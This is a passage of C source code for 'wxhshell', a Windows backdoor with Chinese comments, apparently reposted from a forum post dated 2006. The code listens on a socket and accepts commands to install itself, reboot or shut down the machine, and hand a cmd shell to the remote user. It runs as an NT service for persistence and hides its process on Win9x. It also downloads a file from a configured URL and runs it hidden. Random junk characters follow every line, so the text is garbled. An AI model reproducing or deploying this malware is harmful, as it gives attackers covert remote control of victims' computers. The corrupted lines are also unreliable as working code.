  // 帮助  7MQxW<0  
  case '?': { b;5 M$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !1Nh`FN  
    break; r(JP& @  
  } '~zi~Q7M  
  // 安装 q2*1Gn9!j  
  case 'i': { $J#Z`%B^y  
    if(Install()) ,@\z{}~v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] U,m 1  
    else @?bY,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =ba1::18  
    break; 5-UrHbpCZ#  
    } kc<5wY_t  
  // 卸载 lLLPvW[Q  
  case 'r': { WG +]  
    if(Uninstall()) ~bz$]o-<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9K-,#a  
    else uo bQS!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vb3hDy  
    break; 8WC _CAP  
    } 0bteI*L  
  // 显示 wxhshell 所在路径 ZtY?X- 4_  
  case 'p': { ~Gl5O`w(  
    char svExeFile[MAX_PATH]; FT!Xr  
    strcpy(svExeFile,"\n\r"); :KS"&h{SY  
      strcat(svExeFile,ExeFile); z=Xh  
        send(wsh,svExeFile,strlen(svExeFile),0); }yw>d\] f  
    break; mSGpxZ,IE  
    } k t+h\^g  
  // 重启 yJMo/!DZ  
  case 'b': { GU]kgwSf i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <,Mf[R2N>  
    if(Boot(REBOOT)) L.8`5<ITw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uw(Ml=  
    else { Gh 352  
    closesocket(wsh); 3gtKD9RL:  
    ExitThread(0); -B#K}xL|x  
    } 1 ]ePU8  
    break; m$7C{Mr'  
    } HhwAzk/G~  
  // 关机 X$_pDF&\z  
  case 'd': { S3&n?\CO:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FsS.9 `B  
    if(Boot(SHUTDOWN)) U65oh8x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V!NRBXg  
    else { wLNk XC  
    closesocket(wsh); ?} lqu7S  
    ExitThread(0); L nyow}  
    } Pk=0pHH8q  
    break; -Ua&/Yd/}  
    } Z/d {v:)  
  // 获取shell ^ 4*#QtO  
  case 's': { s"p\-Z  
    CmdShell(wsh); W)8Pq9Hnv  
    closesocket(wsh); G!o6Y:1!  
    ExitThread(0); I@TH^8(  
    break; N1"p ;czK  
  } M>xT\  
  // 退出 @^GI :z  
  case 'x': { s\p 1EL(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _%#Uh#7P$  
    CloseIt(wsh); NMUF)ksjN  
    break; [3x},KM  
    } i*@ZIw  
  // 离开 1 hD(l6tG@  
  case 'q': { x=kJl GT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z m]R76  
    closesocket(wsh); {a15s6'd  
    WSACleanup(); g |H  
    exit(1); dx+xs&  
    break; (-`PO]e48  
        } u"m TS&  
  } BCtKxtbS  
  } f?> ?jf  
&.qLE  
  // 提示信息 P)LOAe1'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I hv@2{*(b  
} HE>V\+ AL  
  } |9X2AS Qu  
`?SC.KT  
  return; DuLl"w\_@  
} N1 sdWXG  
W }v ,6Oe  
// shell模块句柄 c'mg=jH  
int CmdShell(SOCKET sock) \:+ NVIN  
{ =woP~+  
STARTUPINFO si; dI>cPqQ  
ZeroMemory(&si,sizeof(si)); bh#6yvpMR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; db&!t!#,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \S&OAe/b  
PROCESS_INFORMATION ProcessInfo; %(]B1Zg6,  
char cmdline[]="cmd"; ?bg /%o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zKp R:F  
  return 0; &eqqgLz  
} w9n0p0xr<  
5\h6'  
// 自身启动模式 yXqC  
int StartFromService(void) yPg0 :o-  
{ ;Sg,$`]  
typedef struct i0*Cs#(=h  
{ T Qx<lw  
  DWORD ExitStatus; 57O|e/2  
  DWORD PebBaseAddress; IZ87Px>zL  
  DWORD AffinityMask; wQ[!~>A  
  DWORD BasePriority; y]+[o1]-c  
  ULONG UniqueProcessId; {fjBa,o #  
  ULONG InheritedFromUniqueProcessId; | g1Cs  
}   PROCESS_BASIC_INFORMATION; KZa6*,, s  
(!qfd Qq#  
PROCNTQSIP NtQueryInformationProcess; C6h[L  
:qzh kKu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q)lD2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _dW#[TCF  
#{#k;va  
  HANDLE             hProcess; Ro4!y:2|  
  PROCESS_BASIC_INFORMATION pbi; MZxU)QW1  
'=xO?2U-Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 72_+ b  
  if(NULL == hInst ) return 0; Jd',v  
}EP}D?Mmu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ii>^]iT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /I{K_G@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8&3& ^!I  
p"- %~%J=  
  if (!NtQueryInformationProcess) return 0; a .?AniB0  
_+H $Pa}?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RLzqpE<rJ  
  if(!hProcess) return 0; W\ mgM2p  
0)7v _|z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +5 gX6V\  
fEiNHVx  
  CloseHandle(hProcess); ] w0Y5H "  
{47Uu%XT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +$#XV@@~  
if(hProcess==NULL) return 0; aof'shS8  
b5I 8jPj4c  
HMODULE hMod; gm =C0Sp?  
char procName[255]; wy{ sS}  
unsigned long cbNeeded; :ln?PT  
PgHmOs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qr7|;l3  
,4 q^(  
  CloseHandle(hProcess); 27,c}OS5o  
3<N2ehi?  
if(strstr(procName,"services")) return 1; // 以服务启动 {u9n?Z%  
hh5h \ZI%  
  return 0; // 注册表启动 4\k{E-x $  
} uI& 0/  
l!W!Gz0to  
// 主模块 (I(U23A~  
int StartWxhshell(LPSTR lpCmdLine) /m,i,NX07  
{ b\zq,0%  
  SOCKET wsl; 2(Yg',aMY-  
BOOL val=TRUE; )?$@cvf  
  int port=0; +nim47  
  struct sockaddr_in door; SGba6b31  
{P\Ob0)q  
  if(wscfg.ws_autoins) Install(); {K}Dpy  
P}(c0/  
port=atoi(lpCmdLine); 0>D*d'xLd  
F 9d6#~  
if(port<=0) port=wscfg.ws_port; "%S-(ue:  
VUP. \Vry  
  WSADATA data; GoH.0eQ^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dm40qj  
[O|c3;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qh6 vH9(D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j 9GKz1  
  door.sin_family = AF_INET; !'IZr{Y>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7y42)X  
  door.sin_port = htons(port); o?~27   
.F2"tt?'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L{l}G,j<  
closesocket(wsl); -dN`Ok<g  
return 1; +JY8"a97>  
} UV av^<_  
:#_k`{WG  
  if(listen(wsl,2) == INVALID_SOCKET) { #7]>ozKm  
closesocket(wsl); r'_#rl  
return 1; z4` :n.  
} l@u  "iGw  
  Wxhshell(wsl); 6W3."};  
  WSACleanup(); +lZ-xU1  
Eza^Tbq%j?  
return 0; Z=;=9<vA  
e%4vvPp  
} {f*{dSm9b  
|2 =w":2#  
// 以NT服务方式启动 (~! @Uz5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7;C~>WlU  
{ .y_~mr&d  
DWORD   status = 0; )"|wWu  
  DWORD   specificError = 0xfffffff; CdcB E.%<  
p]?eIovi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zf5%|7o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hkV*UH{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W<[7LdAB  
  serviceStatus.dwWin32ExitCode     = 0;  j0O1??  
  serviceStatus.dwServiceSpecificExitCode = 0; /L2n ~/  
  serviceStatus.dwCheckPoint       = 0; mo= @Zt  
  serviceStatus.dwWaitHint       = 0; <7B;_3/  
/R?*i@rvf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X7:Dw]t  
  if (hServiceStatusHandle==0) return; dS \n 2Qb  
3-n&&<  
status = GetLastError(); 3,{;wJ Z  
  if (status!=NO_ERROR) 3[l\l5'm8  
{ ";jAHGbO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D&@ js!|5  
    serviceStatus.dwCheckPoint       = 0; b j<T`M!  
    serviceStatus.dwWaitHint       = 0; NNTrH\SU #  
    serviceStatus.dwWin32ExitCode     = status; wdV)M?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0"+QWh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QJ>=a./  
    return; cIkA ~F  
  } {!{T,_ J  
/X#OX 8gb]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I\rjw$V#  
  serviceStatus.dwCheckPoint       = 0; 9ao?\]&t  
  serviceStatus.dwWaitHint       = 0; 6& hiW]Adm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7Wiwnv_"  
} O8rd*+  
}g%&}`%'  
// 处理NT服务事件,比如:启动、停止 8^^ehaxy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P9Eh, j0_  
{ 3+:NX6Ewb*  
switch(fdwControl) RC8-6s& ln  
{ sk~7"v{Y.  
case SERVICE_CONTROL_STOP: -XkjO$=!=  
  serviceStatus.dwWin32ExitCode = 0; = 1d$x:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %$Q!'+YW  
  serviceStatus.dwCheckPoint   = 0; /BF7N3  
  serviceStatus.dwWaitHint     = 0; '=Jz}F <  
  { >qGWDCKr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /w2IL7}  
  } ~{kA;uw  
  return; >SYOtzg%  
case SERVICE_CONTROL_PAUSE: P>x88M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @wP.Rd  
  break; _n4`mL8>kH  
case SERVICE_CONTROL_CONTINUE: c\tw#;\9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |L-- j  
  break; CPP9=CoR37  
case SERVICE_CONTROL_INTERROGATE: c]z^(:_>  
  break; XoMgb DC  
}; &qa16bz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZC^?ng  
} X\<a|/{V A  
 Y!|};  
// 标准应用程序主函数 (.{."  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JKCV >k  
{ HDu|KW$o1  
)coA30YR  
// 获取操作系统版本 TFhYu  
OsIsNt=GetOsVer(); <!|=_W6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )_kEy>YscZ  
4L,&a+)  
  // 从命令行安装 b~8&P_  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xa&:Hg<  
AJzm/,H  
  // 下载执行文件 }ASBP:c"t  
if(wscfg.ws_downexe) { kll ,^A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l?;ReK.r  
  WinExec(wscfg.ws_filenam,SW_HIDE); f9n4/(C y  
} >4#\ U!  
u9+)jN<Yh  
if(!OsIsNt) { U?(,Z$:N  
// 如果时win9x,隐藏进程并且设置为注册表启动 /`O'eH  
HideProc(); 5=4-IO6W[]  
StartWxhshell(lpCmdLine); n4ti{-^4|d  
} 3|Ar~_]  
else =)]RD%Oq  
  if(StartFromService()) 91#n Aj%  
  // 以服务方式启动 %]O #t<D  
  StartServiceCtrlDispatcher(DispatchTable); ]7h;MR  
else !W=2ZlzS  
  // 普通方式启动 O9p^P%U"  
  StartWxhshell(lpCmdLine); 0upZ4eN  
!A_KCM:Ym  
return 0; 2b :I .  
}
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只看该作者 1 发表于: 2006-10-10
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